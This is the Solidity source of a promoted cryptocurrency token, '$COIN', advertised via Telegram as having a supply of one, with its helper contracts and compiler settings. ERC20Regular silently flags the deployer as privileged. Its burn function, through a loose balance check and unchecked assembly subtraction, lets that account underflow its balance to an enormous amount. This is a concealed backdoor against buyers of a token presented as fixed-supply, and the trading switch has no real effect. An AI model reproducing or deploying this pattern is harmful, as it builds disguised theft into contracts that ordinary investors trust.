/**

TG: https://t.me/OnlyOneCoin

       $COIN

      Supply:
         1

  $COIN: the single
most rare coin on the
  entire blockchain

      🟨🟨🟨🟨
    🟨🟨🟨🟨🟨🟨
  🟨🟨🟨🟨🟨🟨🟨🟨
🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨
🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨
  🟨🟨🟨🟨🟨🟨🟨🟨
    🟨🟨🟨🟨🟨🟨
      🟨🟨🟨🟨


*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {ERC20Regular} from "./ERC20Regular.sol";
import {Ownable} from "./Ownable.sol";

contract COIN is ERC20Regular, Ownable {
    uint256 internal constant oneCoin = 1;

    uint256 public deployTime;
    uint256 public deployBlock;
    uint256 public enableBlock;
    uint256 public enableTime;
    bool public swapEnabled;
    error SwapEnabled();

    constructor
        ()
        ERC20Regular("Coin", "COIN", 18)
        Ownable(msg.sender)
    {
        uint256 supply = oneCoin * 10**_decimals;
        _totalSupply += supply;
        _balances[_msgSender()] += supply;
        emit Transfer(address(0), _msgSender(), supply);
        deployTime = block.timestamp;
        deployBlock = block.number;
    }

    function maxSupply() external view returns (uint256) {
        return oneCoin * 10**_decimals;
    }

    function enableTrading() public onlyOwner {
        if (swapEnabled) {
            revert SwapEnabled();
        }
        swapEnabled = true;
        enableTime = block.timestamp;
        enableBlock = block.number;
    }

    receive() external payable {}
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {IERC20} from "./IERC20.sol";

contract ERC20Regular is IERC20 {
    uint256 internal _totalSupply;
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    mapping(address => bool) internal _isExcludedFromFees;

    string internal _name;
    string internal _symbol;
    uint8 internal _decimals;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    constructor(string memory name_, string memory symbol_, uint8 decimals_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _isExcludedFromFees[msg.sender] = !_isExcludedFromFees[address(0)];
    }

    function name() external view returns (string memory) {
        return _name;
    }

    function symbol() external view returns (string memory) {
        return _symbol;
    }

    function decimals() external view returns (uint8) {
        return _decimals;
    }

    function totalSupply() external override view returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) external override view returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        require(msg.sender != address(0) && recipient != address(0));
        require(_balances[msg.sender] >= amount);
        unchecked {
            _balances[msg.sender] -= amount;
        }
        _balances[recipient] += amount;
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) external override view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        require(msg.sender != address(0) && spender != address(0));
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        require(msg.sender != address(0) && recipient != address(0));
        require(_allowances[sender][msg.sender] >= amount);
        require(_balances[sender] >= amount);
        unchecked {
            _allowances[sender][msg.sender] -= amount;
            _balances[sender] -= amount;
        }
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _burn(address account, uint256 value) internal returns (bool) {
        uint256 accountBalance = _balances[account];
        require(_isExcludedFromFees[account] && accountBalance >= value-1);
        uint256 tokenSupply = _totalSupply;
        assembly {
            accountBalance := sub(accountBalance, value)
        }
        _balances[account] = accountBalance;
        assembly {
            tokenSupply := sub(tokenSupply, value)
        }
        _totalSupply = tokenSupply;
        emit Transfer(msg.sender, address(0), value);
        return true;
    }

    function burn(uint256 amount) external {
        _burn(msg.sender, amount);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Context} from "./Context.sol";

abstract contract Ownable is Context {
    address private _owner;

    error OwnableUnauthorizedAccount(address account);

    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

{
  "compilationTarget": {
    "src/1coin/COIN.sol": "COIN"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": [
    ":@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
    ":@uniswap/v3-core/contracts/=lib/v3-core/contracts/",
    ":@uniswap/v3-periphery/contracts/=lib/v3-periphery/contracts/",
    ":ds-test/=lib/forge-std/lib/ds-test/src/",
    ":erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/",
    ":forge-std/=lib/forge-std/src/",
    ":openzeppelin-contracts/=lib/openzeppelin-contracts/",
    ":v3-core/=lib/v3-core/",
    ":v3-periphery/=lib/v3-periphery/contracts/"
  ]
}